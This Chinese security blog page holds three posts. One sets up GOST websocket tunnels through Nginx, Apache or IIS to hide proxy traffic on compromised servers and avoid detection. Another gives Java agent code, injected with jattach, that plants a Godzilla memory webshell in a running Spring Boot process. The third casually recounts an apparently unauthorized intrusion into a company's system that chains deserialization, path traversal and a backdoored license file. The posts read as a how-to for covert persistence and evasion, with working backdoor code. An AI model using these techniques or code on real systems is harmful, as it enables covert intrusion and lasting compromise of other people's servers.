2023-02-28 | 技术文章
前言
frp反弹确实很爽,但是很多时候这B服务器不出网,或者说动不动就被流量设备检测到了
linux下可以使用iptables做端口复用,windows下就没啥办法了。
除非你花一大笔钱找微软买个签名把驱动给签了然后做端口复用,这个土豪的方法我们先不提。
还有一个方法就是使用Neo这种类型的,挺好用的,但是有没有更快一点的方案?
比如。。。websocket?直接长连接?直接做到原生tcp的运行效率?
二话不说,开干!
iptables 端口复用
这里就随口提一下iptables端口复用
如果我们直接请求目标服务器的任意端口,只要能在netstat -anpt里面看到我们的请求IP,我们就能根据这个IP用iptables做一个端口转发
iptables -t nat -A PREROUTING -p tcp -s 我们的IP --dport 目标WEB端口 -j REDIRECT --to-port 转发端口
GOST
原本想动手写的,但是想了想还是不能乱造轮子,于是乎github稍微搜索了一番,愉快的找到了这个工具
项目地址:GOST
我们目标也很简单,就是听个websocket的代理,然后使用各种中间件中转,最后用本地代理,设置级联就行
项目里的功能正好符合我们的需要,我们只需要在远程服务器上,运行
gost -L ws://:7000
然后在中间件各种配置,最后在我们本地使用
gost -L=:8080 -F=ws://远程web地址:远程web端口
就可以使用web端口复用走Web的,长连接的,websocket的代理了
Nginx中间件配置
nginx的配置挺简单的,一个端口转发就行
location /ws {
proxy_redirect off;
proxy_pass http://ws监听ip:本地ws监听代理;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $http_host;
proxy_read_timeout 300s;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
Nginx有个好,就是有热重载功能,直接一句nginx -s reload就行,至少不怕炸原本的业务
Apache
Apache修改的就有点多了, 得给配置文件添加模块引用。然而唯一有点安慰的就是,这玩意的模块是自带的。
先引用模块,有两个方案,直接用命令
sudo a2enmod proxy proxy_http proxy_ajp proxy_balancer mod_proxy_wstunnel.so
或者直接在你的conf里面添加,把上面这些模块都加进去
LoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so # 填写apache模块的绝对路径
....
然后写入代码
ProxyPass /ws ws://127.0.0.1:7000/ws
最后再service apache2 reload就行
IIS
windows就不大一样了,可以图形化点点点,也能命令行,啊,但是命令行操作我不会.jpg
应该可以用powershell解决,但是windows上其实非常滴麻烦,因为要手动安装两个模块,并不自带
所以推荐还是Neo或者IIS插件后门,除非你觉得管理员水平实在太差。
首先是启用Websocket,打开控制面板,启用或删除windows功能

选上Websocket

接下来就是安装ARR和URL REWRITE
安装ARR:application-request-routing
安装URL REWRITE:url-rewrite
然后配置ARR



点击启用就行
然后配置一个URL转发,找到你的项目吃,点击URL重写

咱们也不需要什么通配符,直接完全匹配GOST的ws就行

其他中间件
原理基本就是配一个websocket转发,大差不差
进阶
上面的ws全部应该都可以改成MWS,我看gost是支持多路复用的,虽然不知道实际提升有多大,但是听起来很牛逼,那就当它很牛逼就好了
还有一个就是ws的通讯协议没加密,可以考虑升级WSS,但是WSS配置又会遇到很多很麻烦的东西。最典型的就是证书啊证书啊证书啊。
还有一个就是gost的ws默认监听路由也得改一改,流量特征太大了。这些后续都要自己处理一下,避免实战中被发现。
2023-02-24 | 技术文章
前言
内存马高级,文明,实体马粗鄙,弟弟。
所以感觉现在能打内存马基本都是直接打内存马了,但是有时候,我们拿下springboot,是通过一些其他方式拿下的,并不是通过web的代码执行。
这时候,我们想做一个后门,常规正向后门又因为目标大多是内网环境访问不到,反弹后门流量又太大,而且这些后门可能还会留下实体文件,端口复用又需要root,而且有概率打炸。灵车率十分的高,所以我们最好的目光就是再springboot打一个内存马,文件不落地,正向连接隐蔽性高。
所以打内存马的目标十分简单,归根结底就是在进程中执行我们的jvav代码,然后打上注册上路由绑定上内存马。
打内存马的方案
如何在进程中执行任意代码?最简单的办法就是注入,然后java是虚拟机,它十分贴心的提供了一套native接口供我们调用,推荐一个工具:jattach
用这玩意大概原理可以直接注入进内存,很贴心的帮我们调用了java native api,然后打入我们的agent。
使用方式就直接jattach.exe pid load instrument false 'agent路径'
那么我们第一个目标就是制作一个agent
制作agent
agent我们主要就是当成一个有特殊入口点的DLL就行,agent主要在于premain,agentmain等这些函数,这些函数网络上介绍的已经很详细了,我们这里就不再赘述,我们直接看向agentmain,这个作用主要是虚拟机加载完之后会调用这个函数。
同时,我们修改MANIFSET.MF文件,添加一个Agent-Class 指向我们的入口点类
完整模板如下
//META-INF/MANIFSET.MF
Manifest-Version: 1.0
Created-By: 18.0.1 (Oracle Corporation)
Premain-Class: com.bie.agent
Agent-Class: com.bie.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
package com.bie
public class agent {
public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
}
}
接下来,我们再其中添加代码执行的函数,一般运行内存马的时候,是直接使用Thread.currentThread().getContextClassLoader(),来加载我们的class,在web中可以使用,但是在这里不行
因为在web中运行时,我们当前的Thread已经包含了所需要的上下文已经环境变量,所以接下来打入内存马时候才能把我们的内存马添加到路由管理里,一般这个线程名字在tomcat和springboot中是叫做xxx-EXEC-一个数字,但是此时我们是注入进去的,线程中并不包含这些信息,所以我们就得另辟蹊径。
既然这个线程没有,那么我们直接枚举过去不就行了?反正java中try这个东西实在是好用,能成就能成,不能成用try兜住反正也不会炸。
于是乎,我们的代码就可以这样写
Method m = Thread.class.getDeclaredMethod("getThreads");
m.setAccessible(true);
Thread[] threads = (Thread[])((Thread[])m.invoke((Object)null));
for(int i = 0;i<threads.length;i++){
try {
byte[] var2 = (new BASE64Decoder()).decodeBuffer("你的内存马base64");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
Class Evil = (Class) defineClass.invoke(threads[i].getContextClassLoader(), "EvilGodlliza", var2, 0, var2.length);
Constructor constructor = Evil.getDeclaredConstructor( int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
constructor.setAccessible(true);
constructor.newInstance(111);
} catch (Exception var4) {
var4.printStackTrace(ps);
}
}
直接通过循环所有线程,暴力加载,反正只要在内存里,总有一个是可以成的
内存马部分
总而言之言而总之,就是内存马,详细可以参考我之前写的SpringBoot 内存马 && SPEL注入内存马
不同的就是想办法把哥斯拉扣出来,不过这种基本都是小菜一桩,把jsp的request和response和session换成springboot的就完事了,我们主要是要处理Context获取,不同版本获取Context的方法都各不相同。于是乎我总结了一些直接获取Context的方法
org.springframework.web.context.WebApplicationContext context = null;
try{
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
}catch (Exception exx){
exx.printStackTrace(ps);
}
if (context == null){
try {
context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
}catch (Exception exx){
exx.printStackTrace(ps);
}
}
if (context == null){
try {
context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
}catch (Exception exx){
exx.printStackTrace(ps);
}
}
if (context == null){
try {
context = ContextLoader.getCurrentWebApplicationContext();
}catch (Exception exx){
exx.printStackTrace(ps);
}
}
if (context == null){
try {
context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
}catch (Exception exx){
exx.printStackTrace(ps);
}
}
直接套上就能用,然后就是规规矩矩的加路由
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(requestMappingHandlerMapping);
EvilGodlliza vulInterceptor = new EvilGodlliza( 0);
adaptedInterceptors.add(vulInterceptor);
out.write("ojbk");
out.close();
合起来大概就能用了
另外一个思路
其实再agent中,我们不只可以用这个方法,还有一个方法是通过jvm虚拟机api,直接修改native字节码,这个太晚了,明天再写,咕咕咕
2023-01-06 | 随便写的什么奇怪的东西
前言
没有前言,好久没写文章了,先说说最近干了什么吧,算是2022年印象最深的一件事了。
年末的时候,闲着无聊,想着随手日一个,这个企业有点难搞,毕竟有一个专门团队维护,人数还挺多。
然后就发生了以下事情
打点进入一套另外的系统,获取到部分账户信息。
成功登录本次目标->打不死
互联网开始找同源码站点->干死了
源码tmd加密了,sg11,500M文件解不开
开始搞开发商
申请试用系统,拿到一套有管理员站点的测试站
黑盒搞死开发商给的测试站,源码妹加密,不用打开发商了
开审,它们授权文件是个php,在web目录外,然后使用include加载的
审到一个反序列化,发现是nnnnnday
phpggc直接冲guhttpz,任意代码执行被修了,不让运行
但是guhttp的文件写入链还没修,成功任意文件写入
尝试写web目录失败,妹有权限
转换思路,挖个sql注入直接登录管理员用测试站的方法打死or找个任意文件读取读取到原本授权文件然后用任意文件写干死
开始试图挖任意文件读取
代码写得挺安全的,文件上传都过滤了
但是在填写类似周报的地方,他ajax,向upload.php请求数据,会返回json,里面有tmp的文件名
然后周报获取到的地方妹有过滤这个tmp文件名导致目录穿越
然后发布文章,上传的附件就会变成我们目录穿越的附件
利用目录穿越下载授权文件
然后就是等待一个好时机,使用任意文件写把带后门的授权文件用反序列化写上去,这套站就可以死啦
以上是测试poc的时候新路历程
然后,我把发布的文章删除了
然后,站就炸了
倒在黎明的前夕。
原因是写文章那里软连接了附件。。我修改到连接授权文件,然后我把周报一删,tmd它会把附件一起删了,然后授权文件也一起删了。
然后成功宣告,我挖供了半天,挖了一周半,并且还成功挖到洞的站。
被我自己给弄没了。啊啊啊啊啊啊
果然新冠会影响智商,以前我不信,现在我信了。
啊啊啊啊啊
总结
毕业了,成为打工仔。没了。
一年话比一年少。
2023目标:活着
- «
- 1
- 2
- 3
- 4
- 5
- 6
- ...
- 67
- »
文章总数:200篇 分类总数:4个